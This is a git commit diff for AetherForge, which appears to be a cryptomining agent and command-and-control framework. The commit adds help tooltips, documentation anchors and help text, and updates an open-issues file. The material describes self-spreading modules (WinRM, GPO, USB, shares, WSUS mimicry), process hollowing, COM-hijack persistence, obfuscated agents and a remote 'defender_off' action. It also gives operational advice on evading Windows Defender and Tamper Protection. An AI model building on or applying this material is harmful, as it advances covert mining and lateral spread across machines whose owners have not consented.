Add HelpTip coverage for War Room, Mission Deck, and Forge gaps (UH-03–05).
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 06:31:08 -07:00
parent c8437c5b22
commit 728c34363b
13 changed files with 223 additions and 69 deletions

View File

@@ -1,15 +1,27 @@
# PROBLEMS.md # PROBLEMS.md
Open issues only. Fixed items removed. Last sweep: 2026-06-07. Open issues only. Fixed items removed. Last sweep: 2026-06-07.
## By design / safety
| Issue | Notes |
|-------|-------|
| **`bof_execute` disabled** | Agent returns explicit error; in-memory BOF execution disabled (`client.go`). |
| **Process hollowing AMSI/ETW** | Relocation done; Defender/ETW ~50% failure; bypass not implemented (`hollow_windows.go`). |
| **Cloudflared in-process (non-Windows server)** | Stub on Linux/macOS; use external connector (`AF_TUNNEL_EXTERNAL`) or add launcher. |
| **macOS camera / GPU miner** | Stubs or partial; Linux has V4L2 + nvidia-smi path. |
| **KEV heuristics** | Non-Windows agents return `Status: n/a` (Windows-only CVE matching). |
| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
## Scale limits (hundreds of subnets / 500+ agents) ## Scale limits (hundreds of subnets / 500+ agents)
| Area | Notes | | Area | Notes |
|------|-------| |------|-------|
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column ΓÇö hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | | **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. | | **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. |
| **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. | | **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
| **Hashrate samples** | One `INSERT` per agent stats tick ΓÇö dominant DB write at scale; retention/prune policy not automated. | | **Hashrate samples** | One `INSERT` per agent stats tick dominant DB write at scale; retention/prune policy not automated. |
| **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. | | **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. |
## Antivirus / Windows Defender ## Antivirus / Windows Defender
@@ -19,16 +31,16 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. | | **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. |
| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. | | **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. |
| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. | | **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. |
| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. | | **Operator tooling** | Calibrate **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible **Mining Diagnostics** command returns JSON blockers. |
| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. | | **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. |
## Container Mining ## Container Mining
| Topic | Notes | | Topic | Notes |
|-------|-------| |-------|-------|
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. | | **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container in-process GPU (parallel) Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. |
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. | | **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. |
| **AV limits (honest)** | Containers are **not** invisible ΓÇö AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. | | **AV limits (honest)** | Containers are **not** invisible AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. | | **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. | | **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. |
| **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. | | **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. |
@@ -82,11 +94,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
| Item | Notes | | Item | Notes |
|------|-------| |------|-------|
| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0ΓÇôL4 ΓÇö Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` | | **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0L4 — Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` |
| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation ΓÇö Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` | | **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` |
| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discoverΓåÆspread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discoverΓåÆspread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** ΓÇö see `tests/README.md` ┬º P2 | | **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discoverspread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discoverspread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** see `tests/README.md` § P2 |
| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** ΓÇö server `internal/erasure/` ReedΓÇôSolomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | | **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** server `internal/erasure/` ReedSolomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. |
| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub | | **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discoverspread without Playwright stub |
| Agent pathtracer Go tests | Stub + Windows command routing expanded; full `wg_setup` on real hosts still manual. | | Agent pathtracer Go tests | Stub + Windows command routing expanded; full `wg_setup` on real hosts still manual. |
| Client WS/beacon paths | httptest round-trips covered; live TLS/mesh beacon still manual. | | Client WS/beacon paths | httptest round-trips covered; live TLS/mesh beacon still manual. |
| Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. | | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. |
@@ -95,12 +107,20 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
| Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. |
| Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. |
## Product decisions (document-only)
| Topic | Notes |
|-------|-------|
| Dual storage sync | Session vs localStorage; `aetherforge-auth` on logout; no full cross-tab policy. |
| MatrixRain / CursorFire | Layout mounts effects on all routes; route-gating deferred. |
| CI scope | `.github/workflows/ci-docker-mining.yml` only; no root Makefile test target. |
## Scrubbed 2026-06-07 (prod garbage removed) ## Scrubbed 2026-06-07 (prod garbage removed)
| Item | Action | | Item | Action |
|------|--------| |------|--------|
| `agent/config/builtin.go` XMR/RVN wallets | Cleared ΓÇö dev builtin no longer ships third-party addresses | | `agent/config/builtin.go` XMR/RVN wallets | Cleared dev builtin no longer ships third-party addresses |
| `server/config.go` builtin Cloudflare token | Removed ΓÇö connector requires env/config/`cloudflared-token.txt` | | `server/config.go` builtin Cloudflare token | Removed connector requires env/config/`cloudflared-token.txt` |
| `data-e2e/`, `music/`, `scratch/` in repo | Untracked + `.gitignore` (E2E wallet stays in `docker/` + `e2e-validate.ps1` only) | | `data-e2e/`, `music/`, `scratch/` in repo | Untracked + `.gitignore` (E2E wallet stays in `docker/` + `e2e-validate.ps1` only) |
| Mission Deck forge bar | Replaced client-side stage timer with server `GET /builder/progress/{token}` poll | | Mission Deck forge bar | Replaced client-side stage timer with server `GET /builder/progress/{token}` poll |

View File

@@ -1,5 +1,6 @@
import type { ForgeFieldMeta } from '../../help/forgeRules'; import type { ForgeFieldMeta } from '../../help/forgeRules';
import { forgeBadgeLabel } from '../../help/forgeRules'; import { forgeBadgeLabel } from '../../help/forgeRules';
import { HelpTip } from '../HelpTip';
interface ForgeLockedHintProps { interface ForgeLockedHintProps {
meta?: ForgeFieldMeta; meta?: ForgeFieldMeta;
@@ -31,13 +32,17 @@ interface ForgeSectionHeaderProps {
title: string; title: string;
description: string; description: string;
badge: 'baked' | 'server-only'; badge: 'baked' | 'server-only';
helpField?: string;
} }
export function ForgeSectionHeader({ title, description, badge }: ForgeSectionHeaderProps) { export function ForgeSectionHeader({ title, description, badge, helpField }: ForgeSectionHeaderProps) {
return ( return (
<div className="forge-section-header"> <div className="forge-section-header">
<div className="forge-section-title-row"> <div className="forge-section-title-row">
<h3>{title}</h3> <h3>
{title}
{helpField ? <> <HelpTip field={helpField} /></> : null}
</h3>
<span className={`forge-field-badge forge-badge-${badge}`}>{forgeBadgeLabel(badge)}</span> <span className={`forge-field-badge forge-badge-${badge}`}>{forgeBadgeLabel(badge)}</span>
</div> </div>
<p className="form-hint forge-section-desc">{description}</p> <p className="form-hint forge-section-desc">{description}</p>

View File

@@ -6,6 +6,7 @@ import {
tickForceLayout, tickForceLayout,
type ConstellationNode, type ConstellationNode,
} from '../../help/campaignConstellations'; } from '../../help/campaignConstellations';
import { HelpTip } from '../HelpTip';
interface CampaignConstellationsProps { interface CampaignConstellationsProps {
campaigns: WarRoomCampaign[]; campaigns: WarRoomCampaign[];
@@ -169,7 +170,8 @@ export default function CampaignConstellations({ campaigns, onSelectCampaign }:
<p className="war-room-constellation-legend form-hint"> <p className="war-room-constellation-legend form-hint">
Node size = hits · brightness = online · color = conversion · edges = shared pin/build. Node size = hits · brightness = online · color = conversion · edges = shared pin/build.
Click a star to jump to its funnel card. Click a star to jump to its funnel card.{' '}
<HelpTip field="ew_war_room_constellations" />
</p> </p>
</div> </div>
); );

View File

@@ -11,6 +11,7 @@ import {
} from '../../help/warRoom'; } from '../../help/warRoom';
import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry'; import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry';
import JoinLaneBadge from '../Fleet/JoinLaneBadge'; import JoinLaneBadge from '../Fleet/JoinLaneBadge';
import { HelpTip } from '../HelpTip';
import WarRoomOdometer from './WarRoomOdometer'; import WarRoomOdometer from './WarRoomOdometer';
interface WarRoomFunnelBoardProps { interface WarRoomFunnelBoardProps {
@@ -44,6 +45,9 @@ export default function WarRoomFunnelBoard({
className={`war-room-funnel-board${alive ? ' war-room-funnel-board--alive' : ''}`} className={`war-room-funnel-board${alive ? ' war-room-funnel-board--alive' : ''}`}
role="list" role="list"
> >
<p className="war-room-funnel-board-key form-hint">
Funnel board <HelpTip field="ew_war_room_funnel_board" />
</p>
{campaigns.map((c, cardIndex) => { {campaigns.map((c, cardIndex) => {
const stages = funnelStages(c); const stages = funnelStages(c);
const leaks = detectFunnelLeaks(c); const leaks = detectFunnelLeaks(c);
@@ -201,11 +205,13 @@ export default function WarRoomFunnelBoard({
<p className="war-room-leak-msg">{primaryLeak.message}</p> <p className="war-room-leak-msg">{primaryLeak.message}</p>
<p className="war-room-leak-action">{primaryLeak.action}</p> <p className="war-room-leak-action">{primaryLeak.action}</p>
</div> </div>
<HelpTip field="ew_war_room_leak" />
</div> </div>
) : ( ) : (
<div className="war-room-leak war-room-leak--clear" role="status"> <div className="war-room-leak war-room-leak--clear" role="status">
<span className="war-room-leak-badge">FLOW</span> <span className="war-room-leak-badge">FLOW</span>
<p className="war-room-leak-msg">Funnel flowing no major leaks detected.</p> <p className="war-room-leak-msg">Funnel flowing no major leaks detected.</p>
<HelpTip field="ew_war_room_leak" />
</div> </div>
)} )}
</article> </article>

View File

@@ -23,11 +23,21 @@ const HELP_TIP_FIELDS = [
'adaptive_strategy', 'lotl_onion_tiers', 'adaptive_strategy', 'lotl_onion_tiers',
'forge_operation_mode', 'forge_path_forge', 'forge_operation_mode', 'forge_path_forge',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread', 'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread', 'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread', 'wsus_format_mimic',
'com_hijack_persist', 'linux_lotl_mode', 'com_hijack_persist', 'linux_lotl_mode',
'forge_simple_mode', 'forge_deliverable', 'https_beacon_after_min', 'apk_mode',
'set_alerts', 'set_alert_notifications', 'set_webhook', 'set_alerts', 'set_alert_notifications', 'set_webhook',
] as const; ] as const;
/** UI HelpTip fields for Mission Deck, Emberwake War Room, and dashboard widgets. */
const UI_HELP_TIP_FIELDS = [
'md_overview', 'md_operation_chip', 'md_spread_profile', 'md_campaign_identity',
'md_strike_pipeline', 'md_equip_strike', 'md_loadout_preview', 'md_campaign_slug', 'md_preflight',
'ew_war_room', 'ew_war_room_funnel', 'ew_war_room_views',
'ew_war_room_funnel_board', 'ew_war_room_stats_table', 'ew_war_room_constellations', 'ew_war_room_leak',
'dash_install_funnel',
] as const;
describe('docAnchors', () => { describe('docAnchors', () => {
it('maps at least 60 forge/calibrate/crucible hints', () => { it('maps at least 60 forge/calibrate/crucible hints', () => {
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60); expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
@@ -66,6 +76,21 @@ describe('docAnchors', () => {
} }
}); });
it('Mission Deck and War Room UI HelpTips have help text and anchors', () => {
for (const field of UI_HELP_TIP_FIELDS) {
expect(UI_HELP[field], `missing UI_HELP for ${field}`).toBeDefined();
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html(#[\w-]+)?)$/,
);
}
});
it('covers wsus_format_mimic and https_beacon_after_min forge anchors', () => {
expect(DOC_ANCHORS.wsus_format_mimic).toBe('/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer');
expect(DOC_ANCHORS.https_beacon_after_min).toBe('/docs/#agent');
expect(FIELD_HELP.wsus_format_mimic).toContain('cab.partial');
});
it('covers newly added forge scheduling and fusion anchors', () => { it('covers newly added forge scheduling and fusion anchors', () => {
expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth'); expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth');
expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge'); expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge');

View File

@@ -3,6 +3,9 @@ export const DOC_ANCHORS: Record<string, string> = {
// Calibrate // Calibrate
calibrate_wallet: '/docs/#calibrate', calibrate_wallet: '/docs/#calibrate',
calibrate_quick_setup: '/docs/#quick-start', calibrate_quick_setup: '/docs/#quick-start',
calibrate_defender_exclusions: '/docs/#calibrate',
av_limits: '/docs/#calibrate',
defender_off: '/docs/#crucible-ops',
public_url: '/docs/#calibrate', public_url: '/docs/#calibrate',
cloudflare_tunnel_token: '/docs/#calibrate', cloudflare_tunnel_token: '/docs/#calibrate',
open_firewall_on_start: '/docs/#security-auth', open_firewall_on_start: '/docs/#security-auth',
@@ -74,6 +77,8 @@ export const DOC_ANCHORS: Record<string, string> = {
dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt', dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt',
webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh', webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh',
wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer', wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
wsus_format_mimic: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
https_beacon_after_min: '/docs/#agent',
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan', com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan', linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
remote_aggressive: '/docs/#crucible-ops', remote_aggressive: '/docs/#crucible-ops',
@@ -115,6 +120,9 @@ export const DOC_ANCHORS: Record<string, string> = {
md_campaign_identity: '/docs/#mission-deck', md_campaign_identity: '/docs/#mission-deck',
md_strike_pipeline: '/docs/#mission-deck', md_strike_pipeline: '/docs/#mission-deck',
md_equip_strike: '/docs/#mission-deck', md_equip_strike: '/docs/#mission-deck',
md_loadout_preview: '/docs/#mission-deck',
md_campaign_slug: '/docs/#mission-deck',
md_preflight: '/docs/#mission-deck',
// Calibrate server // Calibrate server
websocket_ping_seconds: '/docs/#calibrate', websocket_ping_seconds: '/docs/#calibrate',
@@ -139,8 +147,23 @@ export const DOC_ANCHORS: Record<string, string> = {
fleet_runtime_policy: '/docs/#calibrate', fleet_runtime_policy: '/docs/#calibrate',
// Emberwake war room // Emberwake war room
ew_overview: '/docs/#spread-campaigns',
ew_campaign_setup: '/docs/#spread-campaigns',
ew_campaign_slug: '/docs/#spread-campaigns',
ew_install_links: '/docs/#build-manager',
ew_spread_kit: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_war_room: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_supply_chain: '/docs/#spread-campaigns',
ew_public_urls: '/docs/#build-manager',
ew_techniques: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_shared_notes: '/docs/#spread-campaigns',
ew_war_room_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', ew_war_room_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_war_room_views: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', ew_war_room_views: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_war_room_funnel_board: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_war_room_stats_table: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_war_room_constellations: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
ew_war_room_leak: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
spread_funnel_widget: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
}; };
export function docAnchorForField(field: string): string | undefined { export function docAnchorForField(field: string): string | undefined {

View File

@@ -32,6 +32,9 @@ describe('FIELD_HELP', () => {
const expectedKeys = [ const expectedKeys = [
'calibrate_wallet', 'calibrate_wallet',
'calibrate_quick_setup', 'calibrate_quick_setup',
'calibrate_defender_exclusions',
'av_limits',
'defender_off',
'forge_simple_mode', 'forge_simple_mode',
'forge_lotl_onion', 'forge_lotl_onion',
'lotl_onion_tiers', 'lotl_onion_tiers',
@@ -130,6 +133,7 @@ describe('FIELD_HELP', () => {
'dns_txt_spread', 'dns_txt_spread',
'webrtc_mesh_spread', 'webrtc_mesh_spread',
'wsus_cache_peer_spread', 'wsus_cache_peer_spread',
'wsus_format_mimic',
'com_hijack_persist', 'com_hijack_persist',
'linux_lotl_mode', 'linux_lotl_mode',
'hole_punch', 'hole_punch',
@@ -176,6 +180,8 @@ describe('FIELD_HELP', () => {
expect(FIELD_HELP.usb_spread).toContain('USB'); expect(FIELD_HELP.usb_spread).toContain('USB');
expect(FIELD_HELP.share_spread).toContain('share'); expect(FIELD_HELP.share_spread).toContain('share');
expect(FIELD_HELP.winrm_spread).toContain('WinRM'); expect(FIELD_HELP.winrm_spread).toContain('WinRM');
expect(FIELD_HELP.wsus_cache_peer_spread).toContain('WSUS');
expect(FIELD_HELP.wsus_format_mimic).toContain('cab.partial');
expect(FIELD_HELP.com_hijack_persist).toContain('CLSID'); expect(FIELD_HELP.com_hijack_persist).toContain('CLSID');
expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run'); expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run');
}); });
@@ -186,4 +192,18 @@ describe('FIELD_HELP', () => {
expect(FIELD_HELP.erasure_lanes).toMatch(/dns_txt|bits_curl|do_peer|wsus_cache_peer/); expect(FIELD_HELP.erasure_lanes).toMatch(/dns_txt|bits_curl|do_peer|wsus_cache_peer/);
expect(FIELD_HELP.erasure_lanes).toMatch(/Foundation only/i); expect(FIELD_HELP.erasure_lanes).toMatch(/Foundation only/i);
}); });
it('documents honest AV limits — no invisible mining', () => {
expect(FIELD_HELP.av_limits).toMatch(/100% invisible|not 100% invisible/i);
expect(FIELD_HELP.av_limits).toMatch(/in-process RandomX/i);
expect(FIELD_HELP.calibrate_defender_exclusions).toMatch(/Tamper Protection/i);
expect(FIELD_HELP.calibrate_defender_exclusions).toMatch(/manually|manual/i);
expect(FIELD_HELP.defender_off).toMatch(/real-time monitoring only/i);
expect(FIELD_HELP.defender_off).toMatch(/Tamper Protection/i);
expect(FIELD_HELP.miner_execution).toMatch(/likely_blockers/i);
expect(FIELD_HELP.miner_execution).toMatch(/Mining Diagnostics/i);
expect(FIELD_HELP.forge_operation_mode).toMatch(/AV-Safe.*inprocess/i);
expect(FIELD_HELP.remote_aggressive).toMatch(/defender_off/i);
expect(FIELD_HELP.remote_aggressive).toMatch(/exclusions/i);
});
}); });

View File

@@ -22,10 +22,16 @@ export const FIELD_HELP: Record<string, string> = {
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 or 8 and be 90106 characters.', 'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 or 8 and be 90106 characters.',
calibrate_quick_setup: calibrate_quick_setup:
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.', 'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
calibrate_defender_exclusions:
'Generates an elevated PowerShell script (.ps1) you run manually on each Windows worker — path + process allowlists only. The agent does not silently bypass AV. Tamper Protection, Controlled folder access, cloud-delivered protection, SmartScreen, and behavioral blocks can still interfere even after exclusions. Disable Tamper Protection temporarily if Add-MpPreference is rejected.',
av_limits:
'No mining architecture is 100% invisible to AV. Best practical combo: in-process RandomX (no external CPU miner .exe) + Calibrate Defender exclusions + dedicated mining hardware for GPU subprocess paths. Garble, hollow, spread, and T-Rex/TRM downloads remain high-friction.',
defender_off:
'Crucible remote action: disables Windows Defender real-time monitoring only (Set-MpPreference). Requires admin and Remote Aggressive Ops. Tamper Protection reverts changes; cloud/behavioral/Controlled folder access/SmartScreen keep running. Not a substitute for path exclusions — use Calibrate → Windows Defender Exclusions.',
forge_simple_mode: forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.', 'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_operation_mode: forge_operation_mode:
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.', 'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only — no GPU exe, no hollow/spread, idle caps), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Default forge execution is auto (full cascade); AV-Safe still bakes inprocess only. Switches sensible defaults — individual fields below can still be fine-tuned.',
forge_lotl_onion: forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.', 'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
adaptive_strategy: adaptive_strategy:
@@ -103,7 +109,7 @@ export const FIELD_HELP: Record<string, string> = {
